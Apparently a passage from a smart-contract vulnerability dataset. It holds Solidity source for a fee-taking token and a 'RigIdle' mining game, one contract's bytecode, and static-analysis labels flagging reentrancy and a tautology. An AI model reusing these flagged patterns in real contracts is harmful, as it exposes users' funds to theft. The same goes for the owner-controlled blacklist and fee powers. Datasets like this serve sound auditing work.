rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 7, "Buy tax must be between 0% and 7%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 7, "Sell tax must be between 0% and 7%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054e578063dd62ed3e14610564578063ea1644d5146105aa578063f2fde38b146105ca57600080fd5b8063a9059cbb146104c9578063bfd79284146104e9578063c3c8cd8014610519578063c492f0461461052e57600080fd5b80638f9a55c0116100d15780638f9a55c01461044057806395d89b411461045657806398a5c31514610489578063a2a957bb146104a957600080fd5b80637d1db4a5146103ec5780638da5cb5b146104025780638f70ccf71461042057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b4e565b6105ea565b005b34801561020a57600080fd5b5060408051808201909152600a815269436861726d6174616d6160b01b60208201525b60405161023a9190611c13565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611c68565b610689565b604051901515815260200161023a565b34801561027f57600080fd5b50601554610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611c94565b6106a0565b3480156102fc57600080fd5b506102c260195481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601654610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611cd5565b610709565b34801561036e57600080fd5b506101fc61037d366004611d02565b610754565b34801561038e57600080fd5b506101fc61079c565b3480156103a357600080fd5b506102c26103b2366004611cd5565b6107e7565b3480156103c357600080fd5b506101fc610809565b3480156103d857600080fd5b506101fc6103e7366004611d1d565b61087d565b3480156103f857600080fd5b506102c260175481565b34801561040e57600080fd5b506000546001600160a01b0316610293565b34801561042c57600080fd5b506101fc61043b366004611d02565b6108bb565b34801561044c57600080fd5b506102c260185481565b34801561046257600080fd5b5060408051808201909152600a815269434841524d4154414d4160b01b602082015261022d565b34801561049557600080fd5b506101fc6104a4366004611d1d565b610907565b3480156104b557600080fd5b506101fc6104c4366004611d36565b610936565b3480156104d557600080fd5b506102636104e4366004611c68565b610aea565b3480156104f557600080fd5b50610263610504366004611cd5565b60116020526000908152604090205460ff1681565b34801561052557600080fd5b506101fc610af7565b34801561053a57600080fd5b506101fc610549366004611d68565b610b4b565b34801561055a57600080fd5b506102c260085481565b34801561057057600080fd5b506102c261057f366004611dec565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b657600080fd5b506101fc6105c5366004611d1d565b610bec565b3480156105d657600080fd5b506101fc6105e5366004611cd5565b610c1b565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611e25565b60405180910390fd5b60005b81518110156106855760016011600084848151811061064157610641611e5a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067d81611e86565b915050610620565b5050565b6000610696338484610d05565b5060015b92915050565b60006106ad848484610e29565b6106ff84336106fa85604051806060016040528060288152602001611fa0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113dc565b610d05565b5060019392505050565b6000546001600160a01b031633146107335760405162461bcd60e51b815260040161061490611e25565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077e5760405162461bcd60e51b815260040161061490611e25565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d157506014546001600160a01b0316336001600160a01b0316145b6107da57600080fd5b476107e481611416565b50565b6001600160a01b03811660009081526002602052604081205461069a90611450565b6000546001600160a01b031633146108335760405162461bcd60e51b815260040161061490611e25565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a75760405162461bcd60e51b815260040161061490611e25565b6611c37937e080008111156107e457601755565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161061490611e25565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161061490611e25565b601955565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161061490611e25565b60028411156109bf5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b6064820152608401610614565b6007821115610a1a5760405162461bcd60e51b815260206004820152602160248201527f42757920746178206d757374206265206265747765656e20302520616e6420376044820152602560f81b6064820152608401610614565b6002831115610a7a5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b6064820152608401610614565b6007811115610ad65760405162461bcd60e51b815260206004820152602260248201527f53656c6c20746178206d757374206265206265747765656e20302520616e6420604482015261372560f01b6064820152608401610614565b600993909355600b91909155600a55600c55565b6000610696338484610e29565b6013546001600160a01b0316336001600160a01b03161480610b2c57506014546001600160a01b0316336001600160a01b0316145b610b3557600080fd5b6000610b40306107e7565b90506107e4816114d4565b6000546001600160a01b03163314610b755760405162461bcd60e51b815260040161061490611e25565b60005b82811015610be6578160056000868685818110610b9757610b97611e5a565b9050602002016020810190610bac9190611cd5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bde81611e86565b915050610b78565b50505050565b6000546001600160a01b03163314610c165760405162461bcd60e51b815260040161061490611e25565b601855565b6000546001600160a01b03163314610c455760405162461bcd60e51b815260040161061490611e25565b6001600160a01b038116610caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610dc85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610eef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610f515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610f7d57506000546001600160a01b03838116911614155b156112d557601654600160a01b900460ff16611016576000546001600160a01b038481169116146110165760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b6017548111156110685760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526011602052604090205460ff161580156110aa57506001600160a01b03821660009081526011602052604090205460ff16155b6111025760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610614565b600854431115801561112157506016546001600160a01b038481169116145b801561113b57506015546001600160a01b03838116911614155b801561115057506001600160a01b0382163014155b15611179576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146111fe576018548161119b846107e7565b6111a59190611ea1565b106111fe5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b6000611209306107e7565b6019546017549192508210159082106112225760175491505b8080156112395750601654600160a81b900460ff16155b801561125357506016546001600160a01b03868116911614155b80156112685750601654600160b01b900460ff165b801561128d57506001600160a01b03851660009081526005602052604090205460ff16155b80156112b257506001600160a01b03841660009081526005602052604090205460ff16155b156112d2576112c0826114d4565b4780156112d0576112d047611416565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061131757506001600160a01b03831660009081526005602052604090205460ff165b8061134957506016546001600160a01b0385811691161480159061134957506016546001600160a01b03848116911614155b15611356575060006113d0565b6016546001600160a01b03858116911614801561138157506015546001600160a01b03848116911614155b1561139357600954600d55600a54600e555b6016546001600160a01b0384811691161480156113be57506015546001600160a01b03858116911614155b156113d057600b54600d55600c54600e555b610be68484848461165d565b600081848411156114005760405162461bcd60e51b81526004016106149190611c13565b50600061140d8486611eb9565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610685573d6000803e3d6000fd5b60006006548211156114b75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b60006114c161168b565b90506114cd83826116ae565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151c5761151c611e5a565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561157057600080fd5b505afa158015611584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a89190611ed0565b816001815181106115bb576115bb611e5a565b6001600160a01b0392831660209182029290920101526015546115e19130911684610d05565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061161a908590600090869030904290600401611eed565b600060405180830381600087803b15801561163457600080fd5b505af1158015611648573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061166a5761166a6116f0565b61167584848461171e565b80610be657610be6600f54600d55601054600e55565b6000806000611698611815565b90925090506116a782826116ae565b9250505090565b60006114cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611855565b600d541580156117005750600e54155b1561170757565b600d8054600f55600e805460105560009182905555565b60008060008060008061173087611883565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061176290876118e0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117919086611922565b6001600160a01b0389166000908152600260205260409020556117b381611981565b6117bd84836119cb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161180291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061183082826116ae565b82101561184c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836118765760405162461bcd60e51b81526004016106149190611c13565b50600061140d8486611f5e565b60008060008060008060008060006118a08a600d54600e546119ef565b92509250925060006118b061168b565b905060008060006118c38e878787611a44565b919e509c509a509598509396509194505050505091939550919395565b60006114cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113dc565b60008061192f8385611ea1565b9050838110156114cd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b600061198b61168b565b905060006119998383611a94565b306000908152600260205260409020549091506119b69082611922565b30600090815260026020526040902055505050565b6006546119d890836118e0565b6006556007546119e89082611922565b6007555050565b6000808080611a096064611a038989611a94565b906116ae565b90506000611a1c6064611a038a89611a94565b90506000611a3482611a2e8b866118e0565b906118e0565b9992985090965090945050505050565b6000808080611a538886611a94565b90506000611a618887611a94565b90506000611a6f8888611a94565b90506000611a8182611a2e86866118e0565b939b939a50919850919650505050505050565b600082611aa35750600061069a565b6000611aaf8385611f80565b905082611abc8583611f5e565b146114cd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e457600080fd5b8035611b4981611b29565b919050565b60006020808385031215611b6157600080fd5b823567ffffffffffffffff80821115611b7957600080fd5b818501915085601f830112611b8d57600080fd5b813581811115611b9f57611b9f611b13565b8060051b604051601f19603f83011681018181108582111715611bc457611bc4611b13565b604052918252848201925083810185019188831115611be257600080fd5b938501935b82851015611c0757611bf885611b3e565b84529385019392850192611be7565b98975050505050505050565b600060208083528351808285015260005b81811015611c4057858101830151858201604001528201611c24565b81811115611c52576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c7b57600080fd5b8235611c8681611b29565b946020939093013593505050565b600080600060608486031215611ca957600080fd5b8335611cb481611b29565b92506020840135611cc481611b29565b929592945050506040919091013590565b600060208284031215611ce757600080fd5b81356114cd81611b29565b80358015158114611b4957600080fd5b600060208284031215611d1457600080fd5b6114cd82611cf2565b600060208284031215611d2f57600080fd5b5035919050565b60008060008060808587031215611d4c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d7d57600080fd5b833567ffffffffffffffff80821115611d9557600080fd5b818601915086601f830112611da957600080fd5b813581811115611db857600080fd5b8760208260051b8501011115611dcd57600080fd5b602092830195509350611de39186019050611cf2565b90509250925092565b60008060408385031215611dff57600080fd5b8235611e0a81611b29565b91506020830135611e1a81611b29565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e9a57611e9a611e70565b5060010190565b60008219821115611eb457611eb4611e70565b500190565b600082821015611ecb57611ecb611e70565b500390565b600060208284031215611ee257600080fd5b81516114cd81611b29565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f3d5784516001600160a01b031683529383019391830191600101611f18565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f7b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f9a57611f9a611e70565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208195ccc2313e7301ea110c310678a1f5644f0050accec8ca684c66157f2ba1f964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
266
0xd731c88890ca047cd1bed2e6ea1562c7a425c29d
pragma solidity ^0.4.18; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } } library NumericSequence { using SafeMath for uint256; function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price) { require(count > 0); price = 0; price += SafeMath.mul((basePrice + pricePerLevel * owned), count); price += pricePerLevel * (count.mul((count-1))) / 2; } } //----------------------------------------------------------------------- contract RigIdle { using NumericSequence for uint; using SafeMath for uint; struct MinerData { uint256[9] rigs; // rig types and their upgrades uint8[3] hasUpgrade; uint256 money; uint256 lastUpdateTime; uint256 premamentMineBonusPct; uint256 unclaimedPot; uint256 lastPotClaimIndex; } struct RigData { uint256 basePrice; uint256 baseOutput; uint256 pricePerLevel; uint256 priceInETH; uint256 limit; } struct BoostData { uint256 percentBonus; uint256 priceInWEI; } struct PVPData { uint256[6] troops; uint256 immunityTime; uint256 exhaustTime; } struct TroopData { uint256 attackPower; uint256 defensePower; uint256 priceGold; uint256 priceETH; } uint8 private constant NUMBER_OF_RIG_TYPES = 9; RigData[9] private rigData; uint8 private constant NUMBER_OF_UPGRADES = 3; BoostData[3] private boostData; uint8 private constant NUMBER_OF_TROOPS = 6; uint8 private constant ATTACKER_START_IDX = 0; uint8 private constant ATTACKER_END_IDX = 3; uint8 private constant DEFENDER_START_IDX = 3; uint8 private constant DEFENDER_END_IDX = 6; TroopData[6] private troopData; // honey pot variables uint256 private honeyPotAmount; uint256 private honeyPotSharePct; // 90% uint256 private jackPot; uint256 private devFund; uint256 private nextPotDistributionTime; mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle; uint256[] private honeyPotPerCycle; uint256[] private globalICOPerCycle; uint256 private cycleCount; //booster info uint256 private constant NUMBER_OF_BOOSTERS = 5; uint256 private boosterIndex; uint256 private nextBoosterPrice; address[5] private boosterHolders; mapping(address => MinerData) private miners; mapping(address => PVPData) private pvpMap; mapping(uint256 => address) private indexes; uint256 private topindex; address private owner; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function RigIdle() public { owner = msg.sender; // price, prod. upgrade, priceETH, limit rigData[0] = RigData(128, 1, 64, 0, 64); rigData[1] = RigData(1024, 64, 512, 0, 64); rigData[2] = RigData(204800, 1024, 102400, 0, 128); rigData[3] = RigData(25600000, 8192, 12800000, 0, 128); rigData[4] = RigData(30000000000, 65536, 30000000000, 0.01 ether, 256); rigData[5] = RigData(30000000000, 100000, 10000000000, 0, 256); rigData[6] = RigData(300000000000, 500000, 100000000000, 0, 256); rigData[7] = RigData(50000000000000, 3000000, 12500000000000, 0.1 ether, 256); rigData[8] = RigData(100000000000000, 30000000, 50000000000000, 0, 256); boostData[0] = BoostData(30, 0.01 ether); boostData[1] = BoostData(50, 0.1 ether); boostData[2] = BoostData(100, 1 ether); topindex = 0; honeyPotAmount = 0; devFund = 0; jackPot = 0; nextPotDistributionTime = block.timestamp; honeyPotSharePct = 90; // has to be set to a value boosterHolders[0] = owner; boosterHolders[1] = owner; boosterHolders[2] = owner; boosterHolders[3] = owner; boosterHolders[4] = owner; boosterIndex = 0; nextBoosterPrice = 0.1 ether; //pvp troopData[0] = TroopData(10, 0, 100000, 0); troopData[1] = TroopData(1000, 0, 80000000, 0); troopData[2] = TroopData(100000, 0, 0, 0.01 ether); troopData[3] = TroopData(0, 15, 100000, 0); troopData[4] = TroopData(0, 1500, 80000000, 0); troopData[5] = TroopData(0, 150000, 0, 0.01 ether); honeyPotPerCycle.push(0); globalICOPerCycle.push(1); cycleCount = 0; } //-------------------------------------------------------------------------- // Data access functions //-------------------------------------------------------------------------- function GetMinerData(address minerAddr) public constant returns (uint256 money, uint256 lastupdate, uint256 prodPerSec, uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney) { uint8 i = 0; money = miners[minerAddr].money; lastupdate = miners[minerAddr].lastUpdateTime; prodPerSec = GetProductionPerSecond(minerAddr); for(i = 0; i < NUMBER_OF_RIG_TYPES; ++i) { rigs[i] = miners[minerAddr].rigs[i]; } for(i = 0; i < NUMBER_OF_UPGRADES; ++i) { upgrades[i] = miners[minerAddr].hasUpgrade[i]; } unclaimedPot = miners[minerAddr].unclaimedPot; hasBooster = HasBooster(minerAddr); unconfirmedMoney = money + (prodPerSec * (now - lastupdate)); } function GetTotalMinerCount() public constant returns (uint256 count) { count = topindex; } function GetMinerAt(uint256 idx) public constant returns (address minerAddr) { require(idx < topindex); minerAddr = indexes[idx]; } function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime) { _honeyPotAmount = honeyPotAmount; _devFunds = devFund; _jackPot = jackPot; _nextDistributionTime = nextPotDistributionTime; } function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction) { MinerData storage m = miners[minerAddr]; personalProduction = 0; uint256 productionSpeed = 100 + m.premamentMineBonusPct; if(HasBooster(minerAddr)) // 500% bonus productionSpeed += 500; for(uint8 j = 0; j < NUMBER_OF_RIG_TYPES; ++j) { personalProduction += m.rigs[j] * rigData[j].baseOutput; } personalProduction = personalProduction * productionSpeed / 100; } function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate) { globalMoney = 0; globalHashRate = 0; uint i = 0; for(i = 0; i < topindex; ++i) { MinerData storage m = miners[indexes[i]]; globalMoney += m.money; globalHashRate += GetProductionPerSecond(indexes[i]); } } function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex) { for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i) { _boosterHolders[i] = boosterHolders[i]; } currentPrice = nextBoosterPrice; currentIndex = boosterIndex; } function HasBooster(address addr) public constant returns (bool hasBoost) { for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i) { if(boosterHolders[i] == addr) return true; } return false; } function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime, uint256[6] troops) { PVPData storage a = pvpMap[addr]; immunityTime = a.immunityTime; exhaustTime = a.exhaustTime; attackpower = 0; defensepower = 0; for(uint i = 0; i < NUMBER_OF_TROOPS; ++i) { attackpower += a.troops[i] * troopData[i].attackPower; defensepower += a.troops[i] * troopData[i].defensePower; troops[i] = a.troops[i]; } } function GetCurrentICOCycle() public constant returns (uint256) { return cycleCount; } function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot) { require(idx <= cycleCount); ICOFund = globalICOPerCycle[idx]; if(idx < cycleCount) { ICOPot = honeyPotPerCycle[idx]; } else { ICOPot = honeyPotAmount / 5; // actual day estimate } } function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex) { require(idx <= cycleCount); ICOFund = minerICOPerCycle[miner][idx]; if(idx < cycleCount) { ICOShare = (honeyPotPerCycle[idx] * minerICOPerCycle[miner][idx]) / globalICOPerCycle[idx]; } else { ICOShare = (honeyPotAmount / 5) * minerICOPerCycle[miner][idx] / globalICOPerCycle[idx]; } lastClaimIndex = miners[miner].lastPotClaimIndex; } function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot) { MinerData storage m = miners[miner]; require(m.lastUpdateTime != 0); require(m.lastPotClaimIndex < cycleCount); uint256 i = m.lastPotClaimIndex; uint256 limit = cycleCount; if((limit - i) > 30) // more than 30 iterations(days) afk limit = i + 30; unclaimedPot = 0; for(; i < cycleCount; ++i) { if(minerICOPerCycle[msg.sender][i] > 0) unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[miner][i]) / globalICOPerCycle[i]; } } // ------------------------------------------------------------------------- // RigWars game handler functions // ------------------------------------------------------------------------- function StartNewMiner() external { require(miners[msg.sender].lastUpdateTime == 0); miners[msg.sender].lastUpdateTime = block.timestamp; miners[msg.sender].money = 0; miners[msg.sender].rigs[0] = 1; miners[msg.sender].unclaimedPot = 0; miners[msg.sender].lastPotClaimIndex = cycleCount; pvpMap[msg.sender].immunityTime = block.timestamp + 28800; pvpMap[msg.sender].exhaustTime = block.timestamp; indexes[topindex] = msg.sender; ++topindex; } function UpgradeRig(uint8 rigIdx, uint16 count) external { require(rigIdx < NUMBER_OF_RIG_TYPES); require(count > 0); require(count <= 256); MinerData storage m = miners[msg.sender]; require(rigData[rigIdx].limit >= (m.rigs[rigIdx] + count)); UpdateMoney(); // the base of geometrical sequence uint256 price = NumericSequence.sumOfN(rigData[rigIdx].basePrice, rigData[rigIdx].pricePerLevel, m.rigs[rigIdx], count); require(m.money >= price); m.rigs[rigIdx] = m.rigs[rigIdx] + count; if(m.rigs[rigIdx] > rigData[rigIdx].limit) m.rigs[rigIdx] = rigData[rigIdx].limit; m.money -= price; } function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable { require(rigIdx < NUMBER_OF_RIG_TYPES); require(count > 0); require(count <= 256); require(rigData[rigIdx].priceInETH > 0); MinerData storage m = miners[msg.sender]; require(rigData[rigIdx].limit >= (m.rigs[rigIdx] + count)); uint256 price = (rigData[rigIdx].priceInETH).mul(count); require(msg.value >= price); BuyHandler(msg.value); UpdateMoney(); m.rigs[rigIdx] = m.rigs[rigIdx] + count; if(m.rigs[rigIdx] > rigData[rigIdx].limit) m.rigs[rigIdx] = rigData[rigIdx].limit; } function UpdateMoney() private { require(miners[msg.sender].lastUpdateTime != 0); require(block.timestamp >= miners[msg.sender].lastUpdateTime); MinerData storage m = miners[msg.sender]; uint256 diff = block.timestamp - m.lastUpdateTime; uint256 revenue = GetProductionPerSecond(msg.sender); m.lastUpdateTime = block.timestamp; if(revenue > 0) { revenue *= diff; m.money += revenue; } } function UpdateMoneyAt(address addr) private { require(miners[addr].lastUpdateTime != 0); require(block.timestamp >= miners[addr].lastUpdateTime); MinerData storage m = miners[addr]; uint256 diff = block.timestamp - m.lastUpdateTime; uint256 revenue = GetProductionPerSecond(addr); m.lastUpdateTime = block.timestamp; if(revenue > 0) { revenue *= diff; m.money += revenue; } } function BuyUpgrade(uint256 idx) external payable { require(idx < NUMBER_OF_UPGRADES); require(msg.value >= boostData[idx].priceInWEI); require(miners[msg.sender].hasUpgrade[idx] == 0); require(miners[msg.sender].lastUpdateTime != 0); BuyHandler(msg.value); UpdateMoney(); miners[msg.sender].hasUpgrade[idx] = 1; miners[msg.sender].premamentMineBonusPct += boostData[idx].percentBonus; } //-------------------------------------------------------------------------- // BOOSTER handlers //-------------------------------------------------------------------------- function BuyBooster() external payable { require(msg.value >= nextBoosterPrice); require(miners[msg.sender].lastUpdateTime != 0); for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i) if(boosterHolders[i] == msg.sender) revert(); address beneficiary = boosterHolders[boosterIndex]; MinerData storage m = miners[beneficiary]; // 20% interest after 5 buys m.unclaimedPot += (msg.value * 9403) / 10000; // distribute the rest honeyPotAmount += (msg.value * 597) / 20000; devFund += (msg.value * 597) / 20000; // increase price by 5% nextBoosterPrice += nextBoosterPrice / 20; UpdateMoney(); UpdateMoneyAt(beneficiary); // transfer ownership boosterHolders[boosterIndex] = msg.sender; // increase booster index boosterIndex += 1; if(boosterIndex >= 5) boosterIndex = 0; } //-------------------------------------------------------------------------- // PVP handler //-------------------------------------------------------------------------- // 0 for attacker 1 for defender function BuyTroop(uint256 idx, uint256 count) external payable { require(idx < NUMBER_OF_TROOPS); require(count > 0); require(count <= 1000); 